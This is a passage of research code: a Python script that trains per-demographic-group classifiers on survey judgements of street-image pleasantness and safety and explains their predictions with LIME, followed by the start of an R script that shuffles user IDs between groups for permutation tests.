classifiers_seg = [ ExtraTreesClassifier(bootstrap=False, class_weight=None, criterion='entropy', max_depth=None, max_features='auto', max_leaf_nodes=None, min_samples_leaf=4, min_samples_split=2, min_weight_fraction_leaf=0.0, n_estimators=40, n_jobs=-1, oob_score=False, random_state=None, verbose=0, warm_start=False), KNeighborsClassifier(algorithm='auto', leaf_size=30, metric='minkowski', metric_params=None, n_jobs=1, n_neighbors=32, p=2, weights='uniform'), SVC(C=1, cache_size=200, class_weight=None, coef0=0.0, decision_function_shape=None, degree=3, gamma=0.25, kernel='rbf', max_iter=-1, probability=False, random_state=None, shrinking=True, tol=0.001, verbose=False), GaussianNB(), SVC(C=0.001, cache_size=200, class_weight=None, gamma='auto', kernel='linear') ]
elif group == 'casado':
classifiers_agrad = [ ExtraTreesClassifier(bootstrap=False, class_weight=None, criterion='entropy', max_depth=None, max_features='auto', max_leaf_nodes=None, min_samples_leaf=8, min_samples_split=4, min_weight_fraction_leaf=0.0, n_estimators=20, n_jobs=-1, oob_score=False, random_state=None, verbose=0, warm_start=False), KNeighborsClassifier(algorithm='auto', leaf_size=30, metric='minkowski', metric_params=None, n_jobs=1, n_neighbors=16, p=2, weights='uniform'), SVC(C=1, cache_size=200, class_weight='balanced', coef0=0.0, decision_function_shape=None, degree=3, gamma=0.25, kernel='rbf', max_iter=-1, probability=False, random_state=None, shrinking=True, tol=0.001, verbose=False), GaussianNB(), SVC(C=0.001, cache_size=200, class_weight=None, gamma='auto', kernel='linear') ]
classifiers_seg = [ ExtraTreesClassifier(bootstrap=False, class_weight=None, criterion='entropy', max_depth=None, max_features='auto', max_leaf_nodes=None, min_samples_leaf=2, min_samples_split=16, min_weight_fraction_leaf=0.0, n_estimators=60, n_jobs=-1, oob_score=False, random_state=None, verbose=0, warm_start=False), KNeighborsClassifier(algorithm='auto', leaf_size=30, metric='minkowski', metric_params=None, n_jobs=1, n_neighbors=32, p=3, weights='uniform'), SVC(C=1, cache_size=200, class_weight=None, coef0=0.0, decision_function_shape=None, degree=3, gamma=0.25, kernel='rbf', max_iter=-1, probability=False, random_state=None, shrinking=True, tol=0.001, verbose=False), GaussianNB(), SVC(C=0.001, cache_size=200, class_weight=None, gamma='auto', kernel='linear') ]
elif group == "modal-80":#All users (more common param for each group - Extra)
classifiers_agrad = [ ExtraTreesClassifier(class_weight=None, criterion='entropy', min_samples_leaf=8, min_samples_split=2, n_estimators=60, n_jobs=-1, oob_score=False) ]
classifiers_seg = [ ExtraTreesClassifier(class_weight=None, criterion='entropy', min_samples_leaf=4, min_samples_split=8, n_estimators=40, n_jobs=-1, oob_score=False) ]
elif group == "modal-leave":#All users (more common param for each group - Extra)
classifiers_agrad = [ ExtraTreesClassifier(class_weight=None, criterion='entropy', max_features="auto", max_depth=None, min_samples_leaf=8, min_samples_split=32, n_estimators=60, n_jobs=-1, oob_score=False) ]
classifiers_seg = [ ExtraTreesClassifier(class_weight=None, criterion='entropy', max_features="auto", max_depth=None, min_samples_leaf=4, min_samples_split=4, n_estimators=60, n_jobs=-1, oob_score=False) ]
elif group == "all":#All features in best configuration 80-20
classifiers_agrad = [ ExtraTreesClassifier(bootstrap=False, class_weight=None, criterion='entropy', max_depth=None, max_features='auto', max_leaf_nodes=None, min_samples_leaf=2, min_samples_split=32, min_weight_fraction_leaf=0.0, n_estimators=60, n_jobs=-1, oob_score=False, random_state=None, verbose=0, warm_start=False) ]
classifiers_seg = [ ExtraTreesClassifier(bootstrap=False, class_weight=None, criterion='entropy', max_depth=None, max_features='auto', max_leaf_nodes=None, min_samples_leaf=2, min_samples_split=4, min_weight_fraction_leaf=0.0, n_estimators=60, n_jobs=-1, oob_score=False, random_state=None, verbose=0, warm_start=False) ]
else:
classifiers_agrad = [ ExtraTreesClassifier(bootstrap=False, class_weight=None, criterion='entropy', max_depth=None, max_features='auto', max_leaf_nodes=None, min_samples_leaf=8, min_samples_split=8, min_weight_fraction_leaf=0.0, n_estimators=60, n_jobs=-1, oob_score=False, random_state=None, verbose=0, warm_start=False) ]
classifiers_seg = [ ExtraTreesClassifier(bootstrap=False, class_weight=None, criterion='entropy', max_depth=None, max_features='auto', max_leaf_nodes=None, min_samples_leaf=8, min_samples_split=8, min_weight_fraction_leaf=0.0, n_estimators=60, n_jobs=-1, oob_score=False, random_state=None, verbose=0, warm_start=False) ]
return [classifiers_agrad, classifiers_seg]
def load_classifiers_3classes(group):
#Building classifiers according to best configuration per group (FALTA LINEAR!)
if group == 'masculino':
classifiers_agrad = [ ExtraTreesClassifier(bootstrap=False, class_weight=None, criterion='entropy', max_depth=None, max_features='auto', max_leaf_nodes=None, min_samples_leaf=8, min_samples_split=4, min_weight_fraction_leaf=0.0, n_estimators=20, n_jobs=-1, oob_score=False, random_state=None, verbose=0, warm_start=False), KNeighborsClassifier(algorithm='auto', leaf_size=30, metric='minkowski', metric_params=None, n_jobs=1, n_neighbors=32, p=2, weights='uniform'), SVC(C=1, cache_size=200, class_weight=None, coef0=0.0, decision_function_shape=None, degree=3, gamma=0.25, kernel='rbf', max_iter=-1, probability=False, random_state=None, shrinking=True, tol=0.001, verbose=False), GaussianNB(), SVC(C=0.001, cache_size=200, class_weight=None, gamma='auto', kernel='linear') ]
classifiers_seg = [ ExtraTreesClassifier(bootstrap=False, class_weight=None, criterion='entropy', max_depth=None, max_features='auto', max_leaf_nodes=None, min_samples_leaf=8, min_samples_split=32, min_weight_fraction_leaf=0.0, n_estimators=40, n_jobs=-1, oob_score=False, random_state=None, verbose=0, warm_start=False), KNeighborsClassifier(algorithm='auto', leaf_size=30, metric='minkowski', metric_params=None, n_jobs=1, n_neighbors=32, p=3, weights='uniform'), SVC(C=1, cache_size=200, class_weight=None, coef0=0.0, decision_function_shape=None, degree=3, gamma=0.5, kernel='rbf', max_iter=-1, probability=False, random_state=None, shrinking=True, tol=0.001, verbose=False), GaussianNB(), SVC(C=0.001, cache_size=200, class_weight=None, gamma='auto', kernel='linear') ]
elif group == 'feminino':
classifiers_agrad = [ ExtraTreesClassifier(bootstrap=False, class_weight=None, criterion='entropy', max_depth=None, max_features='auto', max_leaf_nodes=None, min_samples_leaf=8, min_samples_split=16, min_weight_fraction_leaf=0.0, n_estimators=60, n_jobs=-1, oob_score=False, random_state=None, verbose=0, warm_start=False), KNeighborsClassifier(algorithm='auto', leaf_size=30, metric='minkowski', metric_params=None, n_jobs=1, n_neighbors=4, p=2, weights='uniform'), SVC(C=1, cache_size=200, class_weight=None, coef0=0.0, decision_function_shape=None, degree=3, gamma=0.25, kernel='rbf', max_iter=-1, probability=False, random_state=None, shrinking=True, tol=0.001, verbose=False), GaussianNB(), SVC(C=0.001, cache_size=200, class_weight=None, gamma='auto', kernel='linear') ]
classifiers_seg = [ ExtraTreesClassifier(bootstrap=False, class_weight=None, criterion='entropy', max_depth=None, max_features='auto', max_leaf_nodes=None, min_samples_leaf=8, min_samples_split=2, min_weight_fraction_leaf=0.0, n_estimators=60, n_jobs=-1, oob_score=False, random_state=None, verbose=0, warm_start=False), KNeighborsClassifier(algorithm='auto', leaf_size=30, metric='minkowski', metric_params=None, n_jobs=1, n_neighbors=32, p=2, weights='uniform'), SVC(C=1, cache_size=200, class_weight=None, coef0=0.0, decision_function_shape=None, degree=3, gamma=0.25, kernel='rbf', max_iter=-1, probability=False, random_state=None, shrinking=True, tol=0.001, verbose=False), GaussianNB(), SVC(C=0.001, cache_size=200, class_weight=None, gamma='auto', kernel='linear') ]
elif group == 'jovem':
classifiers_agrad = [ ExtraTreesClassifier(bootstrap=False, class_weight=None, criterion='entropy', max_depth=None, max_features='auto', max_leaf_nodes=None, min_samples_leaf=4, min_samples_split=16, min_weight_fraction_leaf=0.0, n_estimators=20, n_jobs=-1, oob_score=False, random_state=None, verbose=0, warm_start=False), KNeighborsClassifier(algorithm='auto', leaf_size=30, metric='minkowski', metric_params=None, n_jobs=1, n_neighbors=4, p=3, weights='uniform'), SVC(C=1, cache_size=200, class_weight=None, coef0=0.0, decision_function_shape=None, degree=3, gamma=0.25, kernel='rbf', max_iter=-1, probability=False, random_state=None, shrinking=True, tol=0.001, verbose=False), GaussianNB(), SVC(C=0.001, cache_size=200, class_weight=None, gamma='auto', kernel='linear') ]
classifiers_seg = [ ExtraTreesClassifier(bootstrap=False, class_weight=None, criterion='entropy', max_depth=None, max_features='auto', max_leaf_nodes=None, min_samples_leaf=8, min_samples_split=4, min_weight_fraction_leaf=0.0, n_estimators=60, n_jobs=-1, oob_score=False, random_state=None, verbose=0, warm_start=False), KNeighborsClassifier(algorithm='auto', leaf_size=30, metric='minkowski', metric_params=None, n_jobs=1, n_neighbors=16, p=3, weights='uniform'), SVC(C=1, cache_size=200, class_weight=None, coef0=0.0, decision_function_shape=None, degree=3, gamma=0.25, kernel='rbf', max_iter=-1, probability=False, random_state=None, shrinking=True, tol=0.001, verbose=False), GaussianNB(), SVC(C=0.001, cache_size=200, class_weight=None, gamma='auto', kernel='linear') ]
elif group == 'adulto':
classifiers_agrad = [ ExtraTreesClassifier(bootstrap=False, class_weight=None, criterion='entropy', max_depth=None, max_features='auto', max_leaf_nodes=None, min_samples_leaf=2, min_samples_split=16, min_weight_fraction_leaf=0.0, n_estimators=20, n_jobs=-1, oob_score=False, random_state=None, verbose=0, warm_start=False), KNeighborsClassifier(algorithm='auto', leaf_size=30, metric='minkowski', metric_params=None, n_jobs=1, n_neighbors=32, p=2, weights='uniform'), SVC(C=1, cache_size=200, class_weight=None, coef0=0.0, decision_function_shape=None, degree=3, gamma=0.25, kernel='rbf', max_iter=-1, probability=False, random_state=None, shrinking=True, tol=0.001, verbose=False), GaussianNB(), SVC(C=0.001, cache_size=200, class_weight=None, gamma='auto', kernel='linear') ]
classifiers_seg = [ ExtraTreesClassifier(bootstrap=False, class_weight=None, criterion='entropy', max_depth=None, max_features='auto', max_leaf_nodes=None, min_samples_leaf=32, min_samples_split=16, min_weight_fraction_leaf=0.0, n_estimators=40, n_jobs=-1, oob_score=False, random_state=None, verbose=0, warm_start=False), KNeighborsClassifier(algorithm='auto', leaf_size=30, metric='minkowski', metric_params=None, n_jobs=1, n_neighbors=32, p=2, weights='uniform'), SVC(C=1, cache_size=200, class_weight=None, coef0=0.0, decision_function_shape=None, degree=3, gamma=0.25, kernel='rbf', max_iter=-1, probability=False, random_state=None, shrinking=True, tol=0.001, verbose=False), GaussianNB(), SVC(C=0.001, cache_size=200, class_weight=None, gamma='auto', kernel='linear') ]
elif group == 'baixa':
classifiers_agrad = [ ExtraTreesClassifier(bootstrap=False, class_weight=None, criterion='entropy', max_depth=None, max_features='auto', max_leaf_nodes=None, min_samples_leaf=8, min_samples_split=8, min_weight_fraction_leaf=0.0, n_estimators=60, n_jobs=-1, oob_score=False, random_state=None, verbose=0, warm_start=False), KNeighborsClassifier(algorithm='auto', leaf_size=30, metric='minkowski', metric_params=None, n_jobs=1, n_neighbors=16, p=2, weights='uniform'), SVC(C=1, cache_size=200, class_weight=None, coef0=0.0, decision_function_shape=None, degree=3, gamma=0.25, kernel='rbf', max_iter=-1, probability=False, random_state=None, shrinking=True, tol=0.001, verbose=False), GaussianNB(), SVC(C=0.001, cache_size=200, class_weight=None, gamma='auto', kernel='linear') ]
classifiers_seg = [ ExtraTreesClassifier(bootstrap=False, class_weight=None, criterion='entropy', max_depth=None, max_features='auto', max_leaf_nodes=None, min_samples_leaf=32, min_samples_split=4, min_weight_fraction_leaf=0.0, n_estimators=20, n_jobs=-1, oob_score=False, random_state=None, verbose=0, warm_start=False), KNeighborsClassifier(algorithm='auto', leaf_size=30, metric='minkowski', metric_params=None, n_jobs=1, n_neighbors=32, p=2, weights='uniform'), SVC(C=1, cache_size=200, class_weight=None, coef0=0.0, decision_function_shape=None, degree=3, gamma=0.25, kernel='rbf', max_iter=-1, probability=False, random_state=None, shrinking=True, tol=0.001, verbose=False), GaussianNB(), SVC(C=0.001, cache_size=200, class_weight=None, gamma='auto', kernel='linear') ]
elif group == 'media':
classifiers_agrad = [ ExtraTreesClassifier(bootstrap=False, class_weight=None, criterion='entropy', max_depth=None, max_features='auto', max_leaf_nodes=None, min_samples_leaf=8, min_samples_split=16, min_weight_fraction_leaf=0.0, n_estimators=20, n_jobs=-1, oob_score=False, random_state=None, verbose=0, warm_start=False), KNeighborsClassifier(algorithm='auto', leaf_size=30, metric='minkowski', metric_params=None, n_jobs=1, n_neighbors=8, p=2, weights='uniform'), SVC(C=1, cache_size=200, class_weight=None, coef0=0.0, decision_function_shape=None, degree=3, gamma=0.25, kernel='rbf', max_iter=-1, probability=False, random_state=None, shrinking=True, tol=0.001, verbose=False), GaussianNB(), SVC(C=0.001, cache_size=200, class_weight=None, gamma='auto', kernel='linear') ]
classifiers_seg = [ ExtraTreesClassifier(bootstrap=False, class_weight=None, criterion='entropy', max_depth=None, max_features='auto', max_leaf_nodes=None, min_samples_leaf=4, min_samples_split=8, min_weight_fraction_leaf=0.0, n_estimators=40, n_jobs=-1, oob_score=False, random_state=None, verbose=0, warm_start=False), KNeighborsClassifier(algorithm='auto', leaf_size=30, metric='minkowski', metric_params=None, n_jobs=1, n_neighbors=16, p=2, weights='uniform'), SVC(C=1, cache_size=200, class_weight=None, coef0=0.0, decision_function_shape=None, degree=3, gamma=0.25, kernel='rbf', max_iter=-1, probability=False, random_state=None, shrinking=True, tol=0.001, verbose=False), GaussianNB(), SVC(C=0.001, cache_size=200, class_weight=None, gamma='auto', kernel='linear') ]
elif group == 'solteiro':
classifiers_agrad = [ ExtraTreesClassifier(bootstrap=False, class_weight=None, criterion='entropy', max_depth=None, max_features='auto', max_leaf_nodes=None, min_samples_leaf=2, min_samples_split=32, min_weight_fraction_leaf=0.0, n_estimators=60, n_jobs=-1, oob_score=False, random_state=None, verbose=0, warm_start=False), KNeighborsClassifier(algorithm='auto', leaf_size=30, metric='minkowski', metric_params=None, n_jobs=1, n_neighbors=8, p=3, weights='uniform'), SVC(C=1, cache_size=200, class_weight=None, coef0=0.0, decision_function_shape=None, degree=3, gamma=0.25, kernel='rbf', max_iter=-1, probability=False, random_state=None, shrinking=True, tol=0.001, verbose=False), GaussianNB(), SVC(C=0.001, cache_size=200, class_weight=None, gamma='auto', kernel='linear') ]
classifiers_seg = [ ExtraTreesClassifier(bootstrap=False, class_weight=None, criterion='entropy', max_depth=None, max_features='auto', max_leaf_nodes=None, min_samples_leaf=8, min_samples_split=4, min_weight_fraction_leaf=0.0, n_estimators=40, n_jobs=-1, oob_score=False, random_state=None, verbose=0, warm_start=False), KNeighborsClassifier(algorithm='auto', leaf_size=30, metric='minkowski', metric_params=None, n_jobs=1, n_neighbors=32, p=3, weights='uniform'), SVC(C=1, cache_size=200, class_weight=None, coef0=0.0, decision_function_shape=None, degree=3, gamma=0.25, kernel='rbf', max_iter=-1, probability=False, random_state=None, shrinking=True, tol=0.001, verbose=False), GaussianNB(), SVC(C=0.001, cache_size=200, class_weight=None, gamma='auto', kernel='linear') ]
elif group == 'casado':
classifiers_agrad = [ ExtraTreesClassifier(bootstrap=False, class_weight=None, criterion='entropy', max_depth=None, max_features='auto', max_leaf_nodes=None, min_samples_leaf=4, min_samples_split=2, min_weight_fraction_leaf=0.0, n_estimators=20, n_jobs=-1, oob_score=False, random_state=None, verbose=0, warm_start=False), KNeighborsClassifier(algorithm='auto', leaf_size=30, metric='minkowski', metric_params=None, n_jobs=1, n_neighbors=32, p=2, weights='uniform'), SVC(C=1, cache_size=200, class_weight=None, coef0=0.0, decision_function_shape=None, degree=3, gamma=0.25, kernel='rbf', max_iter=-1, probability=False, random_state=None, shrinking=True, tol=0.001, verbose=False), GaussianNB(), SVC(C=0.001, cache_size=200, class_weight=None, gamma='auto', kernel='linear') ]
classifiers_seg = [ ExtraTreesClassifier(bootstrap=False, class_weight=None, criterion='entropy', max_depth=None, max_features='auto', max_leaf_nodes=None, min_samples_leaf=8, min_samples_split=2, min_weight_fraction_leaf=0.0, n_estimators=40, n_jobs=-1, oob_score=False, random_state=None, verbose=0, warm_start=False), KNeighborsClassifier(algorithm='auto', leaf_size=30, metric='minkowski', metric_params=None, n_jobs=1, n_neighbors=16, p=3, weights='uniform'), SVC(C=1, cache_size=200, class_weight=None, coef0=0.0, decision_function_shape=None, degree=3, gamma=0.25, kernel='rbf', max_iter=-1, probability=False, random_state=None, shrinking=True, tol=0.001, verbose=False), GaussianNB(), SVC(C=0.001, cache_size=200, class_weight=None, gamma='auto', kernel='linear') ]
elif group == "modal-80":#All users (more common param for each group)
classifiers_agrad = [ ExtraTreesClassifier(class_weight=None, criterion='entropy', min_samples_leaf=8, min_samples_split=16, n_estimators=20, n_jobs=-1, oob_score=False) ]
classifiers_seg = [ ExtraTreesClassifier(class_weight=None, criterion='entropy', min_samples_leaf=8, min_samples_split=4, n_estimators=40, n_jobs=-1, oob_score=False) ]
elif group == "modal-leave":#All users (more common param for each group)
classifiers_agrad = [ ExtraTreesClassifier(class_weight=None, criterion='entropy', min_samples_leaf=16, min_samples_split=16, n_estimators=60, n_jobs=-1, oob_score=False) ]
classifiers_seg = [ ExtraTreesClassifier(class_weight=None, criterion='entropy', min_samples_leaf=16, min_samples_split=2, n_estimators=60, n_jobs=-1, oob_score=False) ]
elif group == "all":#80-20 best configuration for classifiers with all features in!
classifiers_agrad = [ ExtraTreesClassifier(bootstrap=False, class_weight=None, criterion='entropy', max_depth=None, max_features='auto', max_leaf_nodes=None, min_samples_leaf=8, min_samples_split=32, min_weight_fraction_leaf=0.0, n_estimators=60, n_jobs=-1, oob_score=False, random_state=None, verbose=0, warm_start=False) ]
classifiers_seg = [ ExtraTreesClassifier(bootstrap=False, class_weight=None, criterion='entropy', max_depth=None, max_features='auto', max_leaf_nodes=None, min_samples_leaf=16, min_samples_split=2, min_weight_fraction_leaf=0.0, n_estimators=60, n_jobs=-1, oob_score=False, random_state=None, verbose=0, warm_start=False) ]
else:
classifiers_agrad = [ ExtraTreesClassifier(bootstrap=False, class_weight=None, criterion='entropy', max_depth=None, max_features='auto', max_leaf_nodes=None, min_samples_leaf=16, min_samples_split=32, min_weight_fraction_leaf=0.0, n_estimators=60, n_jobs=-1, oob_score=False, random_state=None, verbose=0, warm_start=False) ]
classifiers_seg = [ ExtraTreesClassifier(bootstrap=False, class_weight=None, criterion='entropy', max_depth=None, max_features='auto', max_leaf_nodes=None, min_samples_leaf=8, min_samples_split=8, min_weight_fraction_leaf=0.0, n_estimators=60, n_jobs=-1, oob_score=False, random_state=None, verbose=0, warm_start=False) ]
return [classifiers_agrad, classifiers_seg]
# In[4]:
def convertColumnsToDummy(df):
""" Converts categorical features to dummy variables in the data frame """
#Users categorical information to dummy!
res = pd.get_dummies(df['gender'])
df = df.join(res)
res = pd.get_dummies(df['income'])
df = df.join(res)
res = pd.get_dummies(df['marital'])
df = df.join(res)
res = pd.get_dummies(df['education'])
df = df.join(res)
#Images categorical information to dummy!
res = pd.get_dummies(df['bairro1'], prefix="bairro1")
df = df.join(res)
res = pd.get_dummies(df['graffiti1'], prefix="graffiti1")
df = df.join(res)
res = pd.get_dummies(df['bairro2'], prefix="bairro2")
df = df.join(res)
res = pd.get_dummies(df['graffiti2'], prefix="graffiti2")
df = df.join(res)
return df
def stripDataFrame(df):
""" Removes unused chars from dataframes columns values """
df['income'].fillna('', inplace=True)
df['gender'].fillna('', inplace=True)
df['marital'].fillna('', inplace=True)
df['gender'] = [x.lstrip(' \t\n\r').rstrip(' \t\n\r') for x in df['gender']]
df['marital'] = [x.lstrip(' \t\n\r').rstrip(' \t\n\r') for x in df['marital']]
df['income'] = [x.lstrip(' \t\n\r').rstrip(' \t\n\r') for x in df['income']]
df['graffiti1'] = [x.lstrip(' \t\n\r').rstrip(' \t\n\r') for x in df['graffiti1']]
df['graffiti2'] = [x.lstrip(' \t\n\r').rstrip(' \t\n\r') for x in df['graffiti2']]
df['bairro1'] = [x.lstrip(' \t\n\r').rstrip(' \t\n\r') for x in df['bairro1']]
df['bairro2'] = [x.lstrip(' \t\n\r').rstrip(' \t\n\r') for x in df['bairro2']]
return df
# In[5]:
def explainClassification(headers, target_names, X_train_scaled, X_test_scaled, clf, index):
#explainClassification(list_of_predictors, current_df['choice'].unique(), predictors_test, clf, index)
#c = make_pipeline(vectorizer, clf)
#headers = np.array(['age', 'gender', 'income', 'educ', 'marital', 'street_wid1', 'mov_cars1', 'park_cars1', 'mov_ciclyst1', 'landscape1', 'build_ident1', 'trees1', 'build_height1', 'diff_build1', 'people1', 'graffiti1', 'bairro1', 'street_wid2', 'mov_cars2', 'park_cars2', 'mov_ciclyst2', 'landscape2', 'build_ident2', 'trees2', 'build_height2', 'diff_build2', 'people2', 'graffiti2', 'bairro2'])
targetNames = np.array(map(str, target_names))
#TODO ERROR HERE! PRINT ALL
#print("HEADERS " + str(headers) + " " + str(len(headers)))
#print("TARGET " + str(target_names)+ " " + str(len(target_names)))
#print("predi " + str(predictors[1:5]) + " " + str(len(predictors)))
#print("answer " + str(answer)+ " " + str(len(answer)))
#print("CLF " + str(clf))
#print("INDEX " + str(answer[index]))
#print("PROBA " + str(clf.predict_proba)+ " " + str(clf.predict_proba))
explainer = LimeTabularExplainer(X_train_scaled, feature_names=headers, class_names=target_names,
discretize_continuous=True)
exp = explainer.explain_instance(X_test_scaled[index], clf.predict_proba, num_features=len(headers),
top_labels=1)
#exp.show_in_notebook(show_table=True, show_all=False)
return exp
#Main!
input_file = 'classifier_input_3classes.dat'
#Using 3 classes or two classes as output
if "3classes" in input_file.lower():
load_3classes = True
else:
load_3classes = False
df = pd.read_table(input_file, sep='\t', encoding='utf8', header=0)
#Remove unecessary chars!
df = stripDataFrame(df)
#for groups_data in [("", ""), ("gender-masculino", "masculino"), ("gender-feminino", "feminino"), ("age-jovem", "jovem"), ("age-adulto", "adulto") ]:
for groups_data in [ ("", ""), ("gender-masculino", "masculino"), ("gender-feminino", "feminino"), ("age-jovem", "jovem"), ("age-adulto", "adulto"), ("income-baixa", "baixa"), ("income-media", "media"), ("marital-solteiro", "solteiro"), ("marital-casado", "casado")]:
filter_group = groups_data[0]
group = groups_data[1]
if len(filter_group) > 0:
if 'gender' in filter_group:
df_to_use = df[(df.gender == group)]
elif 'marital' in filter_group:
df_to_use = df[(df.marital == group)]
elif 'income' in filter_group:
if group == 'media':
df_to_use = df[(df.income == "media") | (df.income == "media alta")]
elif group == 'baixa':
df_to_use = df[(df.income == "baixa") | (df.income == "media baixa")]
elif 'age' in filter_group:
if group == 'adulto':
df_to_use = df[(df.age >= 25)]
elif group == 'jovem':
df_to_use = df[(df.age <= 24)]
else:
df_to_use = df
#Pleasantness and safety data
agrad_df = df_to_use[(df_to_use.question != "seguro?")]
agrad_df = convertColumnsToDummy(agrad_df)
list_of_predictors_agrad = ['age', 'masculino', 'feminino', 'baixa', 'media baixa', 'media', 'media alta',
'solteiro', 'casado', 'street_wid1', 'mov_cars1', 'park_cars1', 'mov_ciclyst1',
'landscape1', 'build_ident1', 'trees1', 'build_height1', 'diff_build1', 'people1',
'graffiti1_No', 'graffiti1_Yes', 'bairro1_catole', 'bairro1_centro', 'bairro1_liberdade',
'street_wid2', 'mov_cars2', 'park_cars2', 'mov_ciclyst2', 'landscape2', 'build_ident2',
'trees2', 'build_height2', 'diff_build2', 'people2', 'graffiti2_No', 'graffiti2_Yes',
'bairro2_catole', 'bairro2_centro', 'bairro2_liberdade']
for column in ['masculino', 'feminino', 'baixa', 'media baixa', 'media', 'media alta', 'solteiro', 'casado']:
if not column in agrad_df.columns:
list_of_predictors_agrad.remove(column)
answer_agrad = agrad_df['choice']#Preferred images
predictors_agrad = agrad_df[list_of_predictors_agrad].values #Predictors
seg_df = df_to_use[(df_to_use.question == "seguro?")]
seg_df = convertColumnsToDummy(seg_df)
list_of_predictors_seg = ['age', 'masculino', 'feminino', 'baixa', 'media baixa', 'media', 'media alta',
'solteiro', 'casado', 'street_wid1', 'mov_cars1', 'park_cars1', 'mov_ciclyst1',
'landscape1', 'build_ident1', 'trees1', 'build_height1', 'diff_build1', 'people1',
'graffiti1_No', 'graffiti1_Yes', 'bairro1_catole', 'bairro1_centro', 'bairro1_liberdade',
'street_wid2', 'mov_cars2', 'park_cars2', 'mov_ciclyst2', 'landscape2', 'build_ident2',
'trees2', 'build_height2', 'diff_build2', 'people2', 'graffiti2_No', 'graffiti2_Yes',
'bairro2_catole', 'bairro2_centro', 'bairro2_liberdade']
for column in ['masculino', 'feminino', 'baixa', 'media baixa', 'media', 'media alta', 'solteiro', 'casado']:
if not column in seg_df.columns:
list_of_predictors_seg.remove(column)
answer_seg = seg_df['choice']#Preferred images
predictors_seg = seg_df[list_of_predictors_seg].values #Predictors
#Loading classifiers
if load_3classes:
classifiers = load_classifiers_3classes("modal-leave")
else:
classifiers = load_classifiers_wodraw("modal-leave")
classifiers_agrad = classifiers[0]
classifiers_seg = classifiers[1]
#Evaluate each data frame
data_frames = [agrad_df, seg_df]
for index_df in range(0, len(data_frames)):
current_df = data_frames[index_df]
current_df = current_df.sort_values(by='choice', ascending=True)
user_ids = current_df['userID'].unique()#Selecting users
relevance_map_pro = {}
relevance_map_aga = {}
probabilities_map = {}
if index_df == 0:#Selecting predictors
list_of_predictors = list_of_predictors_agrad
else:
list_of_predictors = list_of_predictors_seg
print( ">>> Question\t" + str(("Safety", "Pleasantness")[index_df == 0]) + "\t" + group )
for user_id in user_ids:#Remove each user sequentially
print("User\t" + str(user_id))
current_df_train = current_df[(current_df.userID != user_id)]
current_df_test = current_df[(current_df.userID == user_id)]
predictors_train = np.array(current_df_train[list_of_predictors].values)
predictors_test = np.array(current_df_test[list_of_predictors].values)
#Scaling
scaling = StandardScaler()
scaling.fit(predictors_train)
X_train_scaled = scaling.transform(predictors_train)
X_test_scaled = scaling.transform(predictors_test)
#X_train_scaled = predictors_train #Only extra trees is currently being used!
#X_test_scaled = predictors_test
answer_train = np.array(current_df_train['choice'])
answer_test = np.array(current_df_test['choice'])
if index_df == 0:#Selecting classifiers
clf = classifiers_agrad[0]
else:
clf = classifiers_seg[0]
#Fitting
clf.fit(X_train_scaled, answer_train)
#LIME explanation!
for index_answer in range(0, len(answer_test)):
explanation = explainClassification(list_of_predictors, current_df['choice'].unique(), X_train_scaled, X_test_scaled, clf, index_answer)
#Checking if prediction was correct!
current_answer = answer_test[index_answer]
predicted_answer = 0
predicted_answer_prob = 0
for index_exp in range(0, len(explanation.class_names)):#Most probable answer
if explanation.predict_proba[index_exp] > predicted_answer_prob:
predicted_answer_prob = explanation.predict_proba[index_exp]
predicted_answer = explanation.class_names[index_exp]
#If answer was correct consider features relevances
if int(current_answer) == int(predicted_answer):
exp_map = explanation.as_map()
values = exp_map[exp_map.keys()[0]]
if int(current_answer) < 0:
mult_factor = -1
else:
mult_factor = 1
for value in values:
if mult_factor * value[1] > 0:
relevance_map = relevance_map_pro
else:
relevance_map = relevance_map_aga
if value[0] in relevance_map.keys():
relevance_map[value[0]].append( mult_factor * value[1] )
else:
relevance_map[value[0]] = [mult_factor * value[1]]
for index_class in range(0, len(explanation.class_names)):
if explanation.class_names[index_class] in probabilities_map.keys():
probabilities_map[explanation.class_names[index_class]].append(explanation.predict_proba[index_class])
else:
probabilities_map[explanation.class_names[index_class]] = [explanation.predict_proba[index_class]]
#Printing statistics for data frame being evaluated
print ( "### PRO MAP" )
for key, value in relevance_map_pro.iteritems():
mean = np.mean(value)
std = np.std(value)
print( str(key) + "\t" + list_of_predictors[key] + "\t" + str(mean) + "\t" + str(std) + "\t" + str(len(value)) )
print ( "### AGA MAP" )
for key, value in relevance_map_aga.iteritems():
mean = np.mean(value)
std = np.std(value)
print( str(key) + "\t" + list_of_predictors[key] + "\t" + str(mean) + "\t" + str(std) + "\t" + str(len(value)) )
<file_sep>#!/bin/Rscript
# Reads user ids files and mix user ids!
args <- commandArgs(trailingOnly = TRUE)
if (length(args) == 1){
iteration <- args[1]
#solteiro <- read.table("solteiro.dat", skip=1)
#casado <- read.table("casado.dat", skip=1)
#novo <- sample(rbind(solteiro, casado)$V1)
#newG1 <- novo[1:nrow(casado)]
#newG2 <- novo[(nrow(casado)+1):length(novo)]
#write.table(c("[]", newG1), file=paste("casado_", iteration, ".dat", sep=""), row.names=FALSE, col.names=FALSE, quote=FALSE)
#write.table(c("[]", newG2), file=paste("solteiro_", iteration, ".dat", sep=""), row.names=FALSE, col.names=FALSE, quote=FALSE)
#homem <- read.table("masculino.dat", skip=1)
#mulher <- read.table("feminino.dat", skip=1)
#novo <- sample(rbind(homem, mulher)$V1)
#newG1 <- novo[1:nrow(homem)]
#newG2 <- novo[(nrow(homem)+1):length(novo)]
#write.table(c("[]", newG1), file=paste("masculino_", iteration, ".dat", sep=""), row.names=FALSE, col.names=FALSE, quote=FALSE)
#write.table(c("[]", newG2), file=paste("feminino_", iteration, ".dat", sep=""), row.names=FALSE, col.names=FALSE, quote=FALSE)
#baixa <- read.table("baixa.dat", skip=1)
#media <- read.table("media.dat", skip=1)
#novo <- sample(rbind(baixa, media)$V1)
#newG1 <- novo[1:nrow(baixa)]
#newG2 <- novo[(nrow(baixa)+1):length(novo)]
#write.table(c("[]", newG1), file=paste("baixa_", iteration, ".dat", sep=""), row.names=FALSE, col.names=FALSE, quote=FALSE)
#write.table(c("[]", newG2), file=paste("media_", iteration, ".dat", sep=""), row.names=FALSE, col.names=FALSE, quote=FALSE)
#jovem <- read.table("jovem.dat", skip=1)
#adulto <- read.table("adulto.dat", skip=1)
#novo <- sample(rbind(jovem, adulto)$V1)
#newG1 <- novo[1:nrow(jovem)]
#newG2 <- novo[(nrow(jovem)+1):length(novo)]
#write.table(c("[]", newG1), file=paste("jovem_", iteration, ".dat", sep=""), row.names=FALSE, col.names=FALSE, quote=FALSE)
